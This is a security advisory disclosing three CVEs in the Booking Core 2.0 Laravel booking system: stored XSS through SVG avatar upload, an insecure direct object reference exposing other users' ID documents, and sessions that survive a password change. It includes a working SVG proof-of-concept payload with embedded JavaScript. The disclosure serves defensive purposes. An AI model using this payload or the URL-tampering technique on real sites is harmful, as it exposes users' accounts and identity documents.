Booking Core is a Booking System based on Laravel, designed for a Travel website, Marketplace, Travel Agency, Tour Operator, Room Bnb, Villa Rental, Resort Rental, Make Travel website.

CVE-2021-37330

Problem Type: The application is vulnerable to cross site scripting attack. The vulnerability is a Stored XSS Using Unrestricted File Upload.

This vulnerability was found in the Laravel Booking System - Booking Core 2.0.

Description: The Booking Core website was found vulnerable to cross site scripting attack. The Avatar upload in the My Profile section could be exploited to upload a malicious SVG file which contains Javascript. Now if another user/admin views the profile and clicks to view his avatar, an XSS will trigger.

Malicious SVG File Code:

```
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
  <script type="text/javascript">
    alert(document.location);
  </script>
</svg>
```

Proof of Concept - [Link]

CVE-2021-37331

Problem Type: The application is vulnerable to Incorrect Access Control -> Insecure Direct Object Reference.

This vulnerability was found in the Laravel Booking System - Booking Core 2.0.

Description: The Booking Core website was found vulnerable to insecure direct object reference. On the Verifications page, after uploading an ID Card or Trade License and viewing it, ID Cards and Trade Licenses of other vendors/users can be viewed by changing the URL. This is a sensitive information disclosure.

Proof of Concept - [Link]

CVE-2021-37333

Problem Type: The application is vulnerable to a Session Management Issue.

This vulnerability was found in the Laravel Booking System - Booking Core 2.0.

Description: The Booking Core website was found vulnerable to Session Management Issue. A password change at sandbox.bookingcore.org/user/profile/change-password does not invalidate a session that is opened in a different browser.

Impact
If an attacker has a user password and is logged into the user's account, as other sessions are not destroyed, the attacker will still be logged in the user's account even after changing password, because his session is still active. A malicious actor has complete access to the user's account till that session expires.

Proof of Concept - [Link]

Contact
navidkagalwalla@hotmail.com